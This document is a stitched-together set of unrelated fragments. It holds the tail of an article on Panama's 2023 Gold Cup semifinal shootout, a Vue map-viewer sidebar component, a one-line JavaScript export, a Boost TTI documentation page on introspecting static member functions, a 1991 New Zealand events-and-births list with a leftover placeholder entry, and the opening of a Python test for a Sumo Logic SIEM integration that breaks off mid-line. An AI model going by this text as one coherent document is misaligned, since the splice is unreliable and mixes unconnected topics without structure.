remaining at 1-1, both teams headed for a penalty shootout. Panama goalkeeper Orlando Mosquera saved the first United States penalty from Ferreira, while only Cristian Martínez missed for Panama as Adalberto Carrasquilla's successful penalty secured Panama a third final appearance and a first in ten years for Panama. Match Details References CONCACAF Gold Cup finals 2023 CONCACAF Gold Cup Soccer in Los Angeles CONCACAF Gold Cup Final 2023 in sports in California Mexico national football team matches Panama national football team matches
```vue <template> <div id="left-nav" class="sidebar" :class="sidebarToggleClass"> <div class="toggle" @click="togglesidebar"> <svg class="toggle-arrow" width="2em" height="2em" viewBox="0 0 16 16" fill="currentColor" xmlns="path_to_url" > <path fill-rule="evenodd" d="M5.854 4.646a.5.5 0 0 0-.708 0l-3 3a.5.5 0 0 0 0 .708l3 3a.5.5 0 0 0 .708-.708L3.207 8l2.647-2.646a.5.5 0 0 0 0-.708z" /> <path fill-rule="evenodd" d="M10 8a.5.5 0 0 0-.5-.5H3a.5.5 0 0 0 0 1h6.5A.5.5 0 0 0 10 8zm2.5 6a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 1 0v11a.5.5 0 0 1-.5.5z" /> </svg> </div> <h2> <span @click="showAllMaps">Maps</span> <span v-if="activeMap">/ {{ activeMap.name }}</span> </h2> <div class="container"> <ul v-if="!activeMap" id="maps-list"> <MapRow v-for="map in capabilities.maps" :key="map.name" :map="map" /> </ul> <ul v-if="activeMap && mapIsReady" id="map-layers-list"> <MapLayerRow v-for="layer in activeMap.layers" :key="layer.name" :layer="layer" /> </ul> </div> <div v-if="activeMap" id="left-nav-footer"> <div class="btn" :class="{ active: inspectorIsActive }" @click="toggleFeatureInspector" > <span class="dot"></span>Inspect Features </div> </div> </div> </template> <script> import maplibregl from "maplibre-gl"; import MapRow from "./MapRow.vue"; import MapLayerRow from "./MapLayerRow.vue"; import { store, mutations } from "@/globals/store"; import { map } from "@/globals/map"; export default { name: "LeftNav", components: { MapRow, MapLayerRow }, props: { capabilities: Object }, data() { return { inspectorIsActive: false, inspector: null, sidebarToggleClass: null }; }, computed: { activeMap() { return store.activeMap; }, mapIsReady() { return store.mbglIsReady; } }, methods: { togglesidebar() { // statement needed to execute css transition/animation only after mouse-click // and not on initial page load if (this.sidebarToggleClass === "sidebar-collapsed") { this.sidebarToggleClass = "sidebar-expanded"; } else { this.sidebarToggleClass = "sidebar-collapsed"; } }, // toggleFeatureInspector handles binding and unbinding the mouse events // necessary for the feature inspector toggleFeatureInspector() { if (!this.inspector) { // new popup instance this.inspector = new maplibregl.Popup(); } if (!this.inspectorIsActive) { map.on("mousemove", this.inspectFeatures); this.inspectorIsActive = true; } else { map.off("mousemove", this.inspectFeatures); this.inspectorIsActive = false; if (this.inspector.isOpen()) { this.inspector.remove(); this.inspector = null; } } }, // inspectFeatures handles querying the map instance at the position of the cursor // sorting the returned feature keys, building up the HTML fragments and injecting // the HTML into a mapbox GL popup instance. // // TODO (arolek): this should be refactored. It was ported from the original tegola viewer // and is quity ugly to look at and maintain. The UX would be better if no popup was used // as the feature properties often produce a list longer than the screen. inspectFeatures(e) { var html = ""; var bbox = { width: 10, height: 10 }; // query within a few pixels of the mouse to give us some tolerance to work with var features = map.queryRenderedFeatures([ [e.point.x - bbox.width / 2, e.point.y - bbox.height / 2], [e.point.x + bbox.width / 2, e.point.y + bbox.height / 2] ]); // everPresent contains the keys that should be "pinned" to the top of the feature inspector. Others // will follow and simply be ordered by alpha. See path_to_url var everPresent = ["name", "type", "featurecla"]; for (var i = 0, l = features.length; i < l; i++) { html += "<h4>" + features[i].layer.id + "</h4>"; html += "<ul>"; html += '<li>feature id <span class="float-r">' + features[i].id + "</span></li>"; everPresent.forEach(function (key) { if (typeof features[i].properties[key] !== "undefined") { html += "<li>" + key + '<span class="float-r">' + features[i].properties[key] + "</span></li>"; } }); Object.keys(features[i].properties) .sort() .forEach(function (key) { if (everPresent.indexOf(key) < 0) { html += "<li>" + key + '<span class="float-r">' + features[i].properties[key] + "</span></li>"; } }); html += "</ul>"; } if (html != "") { this.inspector.setLngLat(e.lngLat).setHTML(html).addTo(map); } else { if (this.inspector.isOpen()) { this.inspector.remove(); } } }, showAllMaps() { // remove the URL hash so the next map load does not use the current map // position but rather the init position for that map this.removeHash(); // remove the current active map mutations.setActiveMap(null); }, // removes the hash (#) from the URL // path_to_url#5298684 removeHash() { history.pushState( "", document.title, window.location.pathname + window.location.search ); } } }; </script> <!-- Add "scoped" attribute to limit CSS to this component only --> <style scoped> .sidebar { z-index: 100; width: 300px; position: fixed; background-color: rgba(0, 0, 0, 0.5); display: flex; flex-flow: column; height: 90%; top: 57px; } .toggle { position: absolute; width: 32px; height: 32px; right: -7px; top: 2px; cursor: pointer; margin: 0; fill: white; } .toggle-arrow { fill: whitesmoke; } .sidebar { transition: all 0.6s ease-in-out; } .sidebar-collapsed { transform: translateX(-100%); } .sidebar-collapsed .toggle { animation-name: slindeinearrow; animation-duration: 0.6s; animation-delay: 0.1s; animation-fill-mode: forwards; animation-direction: normal; } .sidebar-expanded .toggle { animation-name: slideoutarrow; animation-duration: 0.6s; animation-delay: 0.1s; animation-fill-mode: forwards; animation-direction: normal; transform: translateX(20px) rotate(180deg); } @keyframes slindeinearrow { 0% { } 100% { transform: translateX(20px) rotate(180deg); } } @keyframes slideoutarrow { 0% { } 100% { transform: rotate(0deg); } } @keyframes slidein { 0% { } 100% { transform: translateX(20px) rotate(180deg); } } @keyframes slideback { 0% { transform: rotate(180deg); } 100% { transform: rotate(0deg); } } .container { width: 100%; flex: 1 1 auto; overflow-y: auto; } #left-nav-footer { flex: 0 1 40px; } h2 { padding: 10px; margin: 0; font-size: 14px; border-bottom: 1px solid #ccc; } h2 span { cursor: pointer; } #maps-list { margin: 0; padding: 0; font-size: 14px; height: 100%; } #map-layers-list { display: flex; flex-flow: column; height: 100%; margin: 0; padding: 0; list-style: none; font-size: 14px; } .btn { display: block; padding: 6px 12px; margin: 5px; font-size: 14px; font-weight: 400; line-height: 1.42857143; text-align: center; white-space: nowrap; vertical-align: middle; cursor: pointer; user-select: none; border: 1px solid #444; border-radius: 4px; } .btn:hover { border-color: #666; color: #eee; } .btn .dot { border-radius: 2px; width: 8px; height: 8px; display: inline-block; background-color: #333; margin-right: 6px; } .btn.active .dot { background-color: #259b24; } </style> ```
```javascript import SignupForm from './SignupForm' import enhance from './SignupForm.enhancer' export default enhance(SignupForm) ```
```html <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"> <title>Introspecting static member function</title> <link rel="stylesheet" href="../../../../../doc/src/boostbook.css" type="text/css"> <meta name="generator" content="DocBook XSL Stylesheets V1.79.1"> <link rel="home" href="../index.html" title="Chapter&#160;1.&#160;The Type Traits Introspection Library"> <link rel="up" href="../index.html" title="Chapter&#160;1.&#160;The Type Traits Introspection Library"> <link rel="prev" href="tti_detail_has_static_member_data.html" title="Introspecting static member data"> <link rel="next" href="tti_detail_has_data.html" title="Introspecting inner data"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table cellpadding="2" width="100%"><tr> <td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../../boost.png"></td> <td align="center"><a href="../../../../../index.html">Home</a></td> <td align="center"><a href="../../../../../libs/libraries.htm">Libraries</a></td> <td align="center"><a href="path_to_url">People</a></td> <td align="center"><a href="path_to_url">FAQ</a></td> <td align="center"><a href="../../../../../more/index.htm">More</a></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="tti_detail_has_static_member_data.html"><img src="../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../index.html"><img src="../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../index.html"><img src="../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="tti_detail_has_data.html"><img src="../../../../../doc/src/images/next.png" alt="Next"></a> </div> <div class="section"> <div class="titlepage"><div><div><h2 class="title" style="clear: both"> <a name="the_type_traits_introspection_library.tti_detail_has_static_member_function"></a><a class="link" href="tti_detail_has_static_member_function.html" title="Introspecting static member function">Introspecting static member function</a> </h2></div></div></div> <p> The TTI macro <code class="computeroutput"><a class="link" href="../BOOST_TTI_HAS__idp36912464.html" title="Macro BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</a></code> introspects a static member function of a class. </p> <p> BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION takes a single parameter which is the name of an inner static member function whose existence the programmer wants to check. The macro generates a metafunction called "has_static_member_function_'name_of_inner_static_member_function'". </p> <p> The metafunction can be invoked in two different ways. </p> <p> The first way is by passing it the enclosing type to introspect and a signature for the static member function as separate template arguments. The signature for the static member function consists of a return type, optional parameter types in the form of a boost::mpl forward sequence of types, and an optional Boost FunctionTypes tag type. A typical boost::mpl forward sequence of types is a boost::mpl::vector&lt;&gt;. </p> <p> The second way is by passing it the enclosing type to introspect and a signature for the static member function as a function. The function has the form of: </p> <pre class="programlisting"><span class="identifier">Return_Type</span> <span class="special">(</span> <span class="identifier">Parameter_Types</span> <span class="special">)</span> </pre> <p> where the Parameter_Types may be empty, or a comma-separated list of parameter types if there are more than one parameter type. </p> <p> The metafunction returns a single type called 'type', which is a boost::mpl::bool_. As a convenience the metafunction returns the value of this type directly as a compile time bool constant called 'value'. This is true or false depending on whether the inner static member function, of the specified signature, exists or not. </p> <h4> <a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.h0"></a> <span class="phrase"><a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.generating_the_metafunction"></a></span><a class="link" href="tti_detail_has_static_member_function.html#the_type_traits_introspection_library.tti_detail_has_static_member_function.generating_the_metafunction">Generating the metafunction</a> </h4> <p> You generate the metafunction by invoking the macro with the name of an inner static member function: </p> <pre class="programlisting"><span class="identifier">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</span><span class="special">(</span><span class="identifier">AStaticMemberFunction</span><span class="special">)</span> </pre> <p> generates a metafunction called 'has_static_member_function_AStaticMemberFunction' in the current scope. </p> <h4> <a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.h1"></a> <span class="phrase"><a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.invoking_the_metafunction"></a></span><a class="link" href="tti_detail_has_static_member_function.html#the_type_traits_introspection_library.tti_detail_has_static_member_function.invoking_the_metafunction">Invoking the metafunction</a> </h4> <p> You invoke the metafunction by instantiating the template with an enclosing type to introspect and the signature of the static member function as a series of template parameters. Alternatively you can invoke the metafunction by passing it an enclosing type and the signature of the static member function as a single function type. </p> <p> A return value called 'value' is a compile time bool constant. </p> <pre class="programlisting"><span class="identifier">has_static_member_function_AStaticMemberFunction</span> <span class="special">&lt;</span> <span class="identifier">Enclosing_Type</span><span class="special">,</span> <span class="identifier">StaticMemberFunction_ReturnType</span><span class="special">,</span> <span class="identifier">boost</span><span class="special">::</span><span class="identifier">mpl</span><span class="special">::</span><span class="identifier">vector</span><span class="special">&lt;</span><span class="identifier">StaticMemberFunction_ParameterTypes</span><span class="special">&gt;,</span> <span class="comment">// optional, can be any mpl forward sequence</span> <span class="identifier">boost</span><span class="special">::</span><span class="identifier">function_types</span><span class="special">::</span><span class="identifier">SomeTagType</span> <span class="comment">// optional, can be any FunctionTypes tag type</span> <span class="special">&gt;::</span><span class="identifier">value</span> <span class="identifier">OR</span> <span class="identifier">has_static_member_function_AStaticMemberFunction</span> <span class="special">&lt;</span> <span class="identifier">Enclosing_Type</span><span class="special">,</span> <span class="identifier">Return_Type</span> <span class="special">(</span> <span class="identifier">Parameter_Types</span> <span class="special">)</span> <span class="special">&gt;::</span><span class="identifier">value</span> </pre> <h4> <a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.h2"></a> <span class="phrase"><a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.examples"></a></span><a class="link" href="tti_detail_has_static_member_function.html#the_type_traits_introspection_library.tti_detail_has_static_member_function.examples">Examples</a> </h4> <p> First we generate metafunctions for various inner static member function names: </p> <pre class="programlisting"><span class="preprocessor">#include</span> <span class="special">&lt;</span><span class="identifier">boost</span><span class="special">/</span><span class="identifier">tti</span><span class="special">/</span><span class="identifier">has_static_member_function</span><span class="special">.</span><span class="identifier">hpp</span><span class="special">&gt;</span> <span class="identifier">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</span><span class="special">(</span><span class="identifier">function1</span><span class="special">)</span> <span class="identifier">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</span><span class="special">(</span><span class="identifier">function2</span><span class="special">)</span> <span class="identifier">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</span><span class="special">(</span><span class="identifier">function3</span><span class="special">)</span> </pre> <p> Next let us create some user-defined types we want to introspect. </p> <pre class="programlisting"><span class="keyword">struct</span> <span class="identifier">AClass</span> <span class="special">{</span> <span class="special">};</span> <span class="keyword">struct</span> <span class="identifier">Top</span> <span class="special">{</span> <span class="keyword">static</span> <span class="keyword">int</span> <span class="identifier">function1</span><span class="special">();</span> <span class="keyword">static</span> <span class="identifier">AClass</span> <span class="identifier">function2</span><span class="special">(</span><span class="keyword">double</span><span class="special">,</span><span class="keyword">short</span> <span class="special">*);</span> <span class="special">};</span> <span class="keyword">struct</span> <span class="identifier">Top2</span> <span class="special">{</span> <span class="keyword">static</span> <span class="keyword">long</span> <span class="identifier">function2</span><span class="special">(</span><span class="identifier">Top</span> <span class="special">&amp;,</span><span class="keyword">int</span><span class="special">,</span><span class="keyword">bool</span><span class="special">,</span><span class="keyword">short</span><span class="special">,</span><span class="keyword">float</span><span class="special">);</span> <span class="keyword">static</span> <span class="identifier">Top</span> <span class="special">*</span> <span class="identifier">function3</span><span class="special">(</span><span class="keyword">long</span><span class="special">,</span><span class="keyword">int</span><span class="special">,</span><span class="identifier">AClass</span> <span class="special">&amp;);</span> <span class="special">};</span> </pre> <p> Finally we invoke our metafunction and return our value. This all happens at compile time, and can be used by programmers doing compile time template metaprogramming. </p> <p> We will show both forms in the following examples. Both forms are completely interchangeable as to the result desired. </p> <pre class="programlisting"><span class="identifier">has_static_member_function_function1</span><span class="special">&lt;</span><span class="identifier">Top</span><span class="special">,</span><span class="keyword">int</span><span class="special">&gt;::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true</span> <span class="identifier">has_static_member_function_function1</span><span class="special">&lt;</span><span class="identifier">Top</span><span class="special">,</span><span class="keyword">int</span> <span class="special">()&gt;::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true</span> <span class="identifier">has_static_member_function_function1</span><span class="special">&lt;</span><span class="identifier">Top2</span><span class="special">,</span><span class="keyword">int</span><span class="special">&gt;::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// false</span> <span class="identifier">has_static_member_function_function2</span><span class="special">&lt;</span><span class="identifier">Top</span><span class="special">,</span><span class="identifier">AClass</span><span class="special">,</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">mpl</span><span class="special">::</span><span class="identifier">vector</span><span class="special">&lt;</span><span class="keyword">double</span><span class="special">,</span><span class="keyword">short</span> <span class="special">*&gt;</span> <span class="special">&gt;::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true</span> <span class="identifier">has_static_member_function_function2</span><span class="special">&lt;</span><span class="identifier">Top2</span><span class="special">,</span><span class="identifier">AClass</span><span class="special">,</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">mpl</span><span class="special">::</span><span class="identifier">vector</span><span class="special">&lt;</span><span class="keyword">double</span><span class="special">,</span><span class="keyword">short</span> <span class="special">*&gt;</span> <span class="special">&gt;::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// false</span> <span class="identifier">has_static_member_function_function2</span><span class="special">&lt;</span><span class="identifier">Top2</span><span class="special">,</span><span class="keyword">long</span> <span class="special">(</span><span class="identifier">Top</span> <span class="special">&amp;,</span><span class="keyword">int</span><span class="special">,</span><span class="keyword">bool</span><span class="special">,</span><span class="keyword">short</span><span class="special">,</span><span class="keyword">float</span><span class="special">)&gt;::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true</span> <span class="identifier">has_static_member_function_function3</span><span class="special">&lt;</span><span class="identifier">Top2</span><span class="special">,</span><span class="keyword">int</span> <span class="special">()&gt;::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// false</span> <span class="identifier">has_static_member_function_function3</span><span class="special">&lt;</span><span class="identifier">Top2</span><span class="special">,</span><span class="identifier">Top</span> <span class="special">*</span> <span class="special">(</span><span class="keyword">long</span><span class="special">,</span><span class="keyword">int</span><span class="special">,</span><span class="identifier">AClass</span> <span class="special">&amp;)&gt;::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true;</span> </pre> <h4> <a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.h3"></a> <span class="phrase"><a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.metafunction_re_use"></a></span><a class="link" href="tti_detail_has_static_member_function.html#the_type_traits_introspection_library.tti_detail_has_static_member_function.metafunction_re_use">Metafunction re-use</a> </h4> <p> The macro encodes only the name of the static member function for which we are searching and the fact that we are introspecting for a static member function within an enclosing type. </p> <p> Because of this, once we create our metafunction for introspecting a static member function by name, we can reuse the metafunction for introspecting any enclosing type, having any static member function, for that name. </p> </div> <table xmlns:rev="path_to_url~gregod/boost/tools/doc/revision" width="100%"><tr> <td align="left"></td> East Inc<p> file LICENSE_1_0.txt or copy at <a href="path_to_url" target="_top">path_to_url </p> </div></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="tti_detail_has_static_member_data.html"><img src="../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../index.html"><img src="../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../index.html"><img src="../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="tti_detail_has_data.html"><img src="../../../../../doc/src/images/next.png" alt="Next"></a> </div> </body> </html> ```
The following lists events that happened during 1991 in New Zealand. Population Estimated population as of 31 December: 3,516,000. Increase since 31 December 1990: 40,900 (1.18%) Note that there is a discontinuity between the 1990 and 1991 figures as Statistics NZ switched from using the de facto population concept to estimated resident population. Males per 100 Females: 99.7 Incumbents Regal and viceregal Head of State – Elizabeth II Governor-General – The Hon Dame Catherine Anne Tizard, GCMG, GCVO, DBE, QSO Government The 43rd New Zealand Parliament continued. Government was The National Party, led by Jim Bolger. National controlled nearly seventy percent of the seats in Parliament. Speaker of the House – Robin Gray Prime Minister – Jim Bolger Deputy Prime Minister – Don McKinnon Minister of Finance – Ruth Richardson Minister of Foreign Affairs – Don McKinnon Chief Justice — Sir Thomas Eichelbaum Parliamentary opposition Leader of the Opposition – Mike Moore (Labour) . NewLabour Party – Jim Anderton Main centre leaders Mayor of Auckland – Les Mills Mayor of Hamilton – Margaret Evans Mayor of Wellington – Jim Belich Mayor of Christchurch – Vicki Buck Mayor of Dunedin – Richard Walls Events January 2 January: description February March April 17 April: Prime Minister Jim Bolger stated, "We intend to keep New Zealand nuclear-free this term, next term, and the term after that." June July 22 July The Resource Management Act 1991 passes into law after a third reading speech by Simon Upton. August September October 1 October The Resource Management Act 1991 commences November December Arts and literature Lynley Hood wins the Robert Burns Fellowship. See 1991 in art, 1991 in literature, :Category:1991 books Performing arts Benny Award presented by the Variety Artists Club of New Zealand to Debbie Dorday. Radio and television CanWest takes management control of TV3. See: 1991 in New Zealand television, 1991 in television, List of TVNZ television programming, :Category:Television in New Zealand, TV3 (New Zealand), :Category:New Zealand television shows, Public broadcasting in New Zealand Film A Soldier's Tale Chunik Bair Grampire Old Scores Te Rua The End of the Golden Weather See: :Category:1991 film awards, 1991 in film, List of New Zealand feature films, Cinema of New Zealand, :Category:1991 films Internet See: NZ Internet History Sport Athletics Paul Herlihy wins his first national title in the men's marathon, clocking 2:13:34 on 2 March in New Plymouth, while Lee-Ann McPhillips claims her first in the women's championship (2:40:12). Horse racing Harness racing New Zealand Trotting Cup – Christopher Vance Auckland Trotting Cup – Christopher Vance Thoroughbred racing Shooting Ballinger Belt – Graeme Berman (Australia) Geoffrey Smith (Malvern), second, top New Zealander Soccer The Chatham Cup is won by Christchurch United who beat Wellington United 2–1 in the final. Births January 1 January – Peter Burling, sailor 3 January – Joe Kayes, water polo player 4 January – Olivia Tennet, actor 5 January – Shane Savage, Australian rules footballer 7 January Stephen Shennan, rugby union player Ben Smith, cricketer 13 January – Mako Vunipola, rugby union player 16 January – James Lentjes, rugby union player 17 January Kate Chilcott, road cyclist Slade Griffin, rugby league player Brad Weber, rugby union player 27 January Beth Chote, actor Sebastine Ikahihifo, rugby league player 28 January Jordan Kahu, rugby league player Mike Kainga, rugby union player 29 January – Luke Whitelock, rugby union player 30 January Mitchell Graham, rugby union player Matthew Wright, rugby league player February 2 February Caitlin Campbell, association footballer Solomona Sakalia, rugby union player 3 February – Lima Sopoaga, rugby union player 7 February – Ben Murdoch-Masila, rugby league player 14 February – Michael Bracewell, cricketer 15 February - Matt McEwan, cricketer 16 February – Francis Saili, rugby union player 18 February Danielle Hayes, fashion model Stacey Michelsen, field hockey player 19 February – Ethan Mitchell, track cyclist 20 February – Julia Edward, rower March 2 March – Mitchell Scott, rugby union player 4 March – Sue Maroroa, chess player 12 March Alofa Alofa, rugby union player Jed Brown, rugby union player 14 March Taylor Gunman, road cyclist Kurt Pickard, BMX racer 16 March – Michael Barry, cricketer 17 March – Dylan Dunlop-Barrett, swimmer 19 March – Colin Murphy, association footballer 20 March – Liam Squire, rugby union player 22 March Jordan Grant, field hockey player Amy McIlroy, lawn bowls player 23 March – Jenny Hung, table tennis player 25 March – Ryan Duffy, cricketer 26 March – Courteney Lowe, road cyclist 30 March – Jono Hickey, cricketer and rugby union player 31 March – Codie Taylor, rugby union player April 1 April Graham Candy, singer-songwriter Iopu Iopu-Aso, rugby union player 2 April Kara Pryor, rugby union player Brad Shields, rugby union player 4 April – Sam Meech, sailor 6 April – Paratene McLeod, basketball player 9 April – Dominic Bird, rugby union player 10 April - Kirsten Pearce, field hockey player 17 April – Augusta Xu-Holland, actor 20 April – Daniel Hawkins, rugby union player 26 April – Isaac Liu, rugby league player 27 April – Dylan Collier, rugby union and rugby league player 29 April – Steven Luatua, rugby union player 30 April – Brett Hampton, cricketer May 2 May – Patrick Bevin, road cyclist 3 May – Hannah Wall, association footballer 5 May – Joel Faulkner, rugby union player 7 May – Kenny Ardouin, cleft lip and palate community advocate 8 May – Waisake Naholo, rugby union player 9 May Sosaia Feki, rugby league player Harriet Miller-Brown, alpine skier 10 May – Gareth Anscombe, rugby union player 11 May – Tony Ensor, rugby union player 12 May Elizabeth Chuah Lamb, high jumper Greg Pleasants-Tate, rugby union player 15 May – Matt Moulds, rugby union player 20 May – Daryl Mitchell, cricketer 24 May – Ian McPeake, cricketer 25 May Maritino Nemani, rugby union player James Raideen, professional wrestler 27 May Beauden Barrett, rugby union player Kayla Pratt, rower 31 May – Brodie Retallick, rugby union player June 3 June Sarah McLaughlin, association footballer Ava Seumanufagai, rugby league player 4 June Matt McIlwrick, rugby league player Ben Stokes, cricketer 5 June – Chloe Tipple, sports shooter 7 June – Amanda Landers-Murphy, squash player 9 June – Ben Lam, rugby union player 11 June – Nepo Laulala, rugby union player 13 June – Lachie Ferguson, cricketer 19 June – Zoe Stevenson, rower 23 June – Mikhail Koudinov, gymnast 25 June – Heiden Bedwell-Curtis, rugby union player 26 June – Dakota Lucas, association footballer July 1 July Annalie Longo, association footballer Ruby Muir, endurance athlete 7 July – Matt Hewitt, surfer 12 July – Portia Woodman, rugby union player 16 July – Sam Webster, track cyclist 20 July Jarrad Butler, rugby union player Sam Lousi, rugby league and rugby union player 24 July – Derone Raukawa, basketball player 27 July – Ricky Wells, speedway rider 28 July – Priyanka Xi, actor 31 July – Tony Lamborn, rugby union player August 2 August Tom Bruce, cricketer Rob Thompson, rugby union player 5 August Gareth Evans, rugby union player Konrad Hurrell, rugby league player Robert Loe, basketball player 13 August – Michael Cochrane, athlete 16 August – Angie Smit, athlete 22 August - Kenny Bromwich, rugby league player 29 August – Samantha Harrison, field hockey player 30 August – Ben Tameifuna, rugby union player September 2 September – Adam Henry, rugby league player 4 September – Chevannah Paalvast, basketball player 5 September – Nepia Fox-Matamua, rugby union player 9 September – Adam Ling, rower 11 September – Rebecca Sinclair, snowboarder 13 September – Lee Allan, rugby union player 14 September – Ryan De Vries, association footballer 16 September – Luke Rowe, association footballer 19 September – Owen Ivins, cricketer 23 September – Cardiff Vaega, rugby union player 26 September – Look Who's Talking, thoroughbred racehorse 29 September – Stefi Luxton, snowboarder October 5 October – Gareth Kean, swimmer 7 October – Stefan Marinovic, association footballer 12 October – Nabil Sabio Azadi, artist 15 October – Mandy Boyd, lawn bowls player 19 October – Michael Allardice, rugby union player 22 October – Levi Sherwood, freestyle motocross rider 26 October – Blair Soper, cricketer 27 October – Il Vicolo, standardbred racehorse 28 October – Duane Bailey, basketballer 29 October – Parris Goebel, dancer, choreographer and actor 31 October – Charles Piutau, rugby union player November 5 November – Marco Rojas, association footballer 6 November – Matt Faddes, rugby union player 10 November - Ben Wheeler, cricketer 11 November – Kate Broadmore, cricketer 13 November – David Light, boxer 15 November – Henry Nicholls, cricketer 20 November – Tim Simona, rugby league player 21 November – Peni Terepo, rugby league player 22 November – Michael Vink, cyclist 24 November – Richie Stanaway, motor racing driver 27 November – Brooke Duff, singer-songwriter December 1 December – Richard Moore, motor racing driver 3 December – Jarrod Firth, rugby union player 7 December Samantha Charlton, field hockey player Chris Wood, association footballer 11 December – Kahurangi Taylor, beauty pageant contestant 13 December – Ruby Tui, rugby sevens player 14 December Ben Henry, rugby league player Matt Henry, cricketer 22 December – Paul Alo-Emile, rugby union player Exact date unknown Holly Cassidy, beauty pageant contestant Annah Mac, singer-songwriter Deaths January–March 4 January – Vernon Sale, cricketer (born 1915) 12 February – Norman Fisher, boxer (born 1916) 17 February – Fuzz Barnes, political activist (born 1902) 18 February – Elizabeth Lissaman, potter (born 1901) 9 March – Esther Blackie, cricketer (born 1916) 14 March – Emily Carpenter, consumer advocate (born 1917) 17 March – Peter Gordon, politician (born 1921) 21 March – William Ditchfield, cricketer (born 1903) 28 March – Henry Field, educational psychologist (born 1903) April–June 3 April – Peter Hooper, writer (born 1919) 9 April – June Litman, journalist (born 1926) 14 April – Bob Page, rowing coxswain (born 1936) 20 April – Clare Mallory, children's writer (born 1913) 28 April – Ngata Pitcaithly, educationalist (born 1906) 18 May – Horace Smirk, medical academic (born 1902) 31 May – Ian Milner, public servant, academic, alleged spy (born 1911) 6 June – Stella Jones, playwright (born 1904) 10 June – Jim Burrows, rugby union player and coach, cricketer, military leader (born 1904) 18 June – Eric Halstead, politician and diplomat (born 1912) 23 June – Charles Begg, radiologist and historian (born 1912) 28 June – Sydney Josland, bacteriologist (born 1904) July–September 3 July – Trevor Horne, politician (born 1920) 17 July – John O'Sullivan, cricketer (born 1918) 21 July – Allan Wilson, biochemistry academic (born 1934) 7 August Billy T. James, entertainer (born 1948) Reginald Keeling, politician (born 1904) 8 August – John Marsdon, cricketer (born 1928) 22 August – Reuel Lochore, public servant and diplomat (born 1903) 25 August – Charles Willocks, rugby union player (born 1919) 17 September – Herb Mullon, philatelist (born 1905) 25 September – Te Reo Hura, Rātana leader (born 1904) 29 September – Sir Henry Kelliher, businessman and philanthropist (born 1896) October–December 6 October – Bob Loudon, rugby union player (born 1903) 10 October – Jack Hunt, speedway rider (born 1921) 12 October – Murray Kay, association footballer (born 1905) 13 October – Sir William Gentry, military leader (born 1899) 22 October – Francis O'Brien, cricketer (born 1911) 25 October – Roy Parsons, bookseller (born 1909) 26 October – Clive Boyce, local-body politician (born 1918) 8 November – Billy Savidan, athlete (born 1902) 9 November – Jack Newton, rugby league player (born 1920) 10 November Bill Gwynne, cricket umpire (born 1913) Colin Johnstone, rower (born 1921) 11 November – Sir Tom Skinner, politician and trade union leader (born 1909) 12 November – Kamal Bamadhaj, human rights activist (born 1970) 24 November – Allan Pyatt, Anglican bishop (born 1916) 28 November – Te Kari Waaka, Ringatū minister and community leader (born 1916) 1 December Zin Harris, cricketer (born 1927) Jim Knox, trade union leader (born 1919) 2 December – Ted Spillane, rugby league player (born 1905) 6 December – Bill Beattie, photographer (born 1902) 12 December – Julia Wallace, educationalist, politician, community leader (born 1907) 20 December Beatrice Beeby, Playcentre pioneer (born 1903) Wi Huata, clergyman (born 1917) 21 December – Frank Solomon, rugby union player (born 1906) 24 December – Muriel Moody, potter and sculptor (born 1907) See also List of years in New Zealand Timeline of New Zealand history History of New Zealand Military history of New Zealand Timeline of the New Zealand environment Timeline of New Zealand's links with Antarctica References External links New Zealand Years of the 20th century in New Zealand
```python """Integration for Sumo Logic Cloud SIEM - Unit Tests file More information about Unit Tests in Cortex XSOAR: path_to_url """ from CommonServerPython import * from CommonServerUserPython import * import json import io from datetime import datetime from datetime import timezone MOCK_URL = 'path_to_url RECORD_SUMMARY_FIELDS_DEFAULT = ( 'action,description,device_hostname,device_ip,dstDevice_hostname,dstDevice_ip,' 'email_sender,file_basename,file_hash_md5,file_hash_sha1,file_hash_sha256,srcDevice_hostname,' 'srcDevice_ip,threat_name,threat_category,threat_identifier,user_username,threat_url,listMatches') def util_load_json(path): with io.open(path, mode='r', encoding='utf-8') as f: return json.loads(f.read()) def test_insight_get_details(requests_mock): """Tests sumologic-sec-insight-get-details command function. """ from SumoLogicCloudSIEM import Client, insight_get_details, insight_signal_to_readable, DEFAULT_HEADERS mock_response = util_load_json('test_data/insight_details.json') insight_id = 'INSIGHT-220' insight = insight_signal_to_readable(mock_response.get('data')) requests_mock.get( '{}/sec/v1/insights/{}?exclude=signals.allRecords&recordSummaryFields=action%2C' 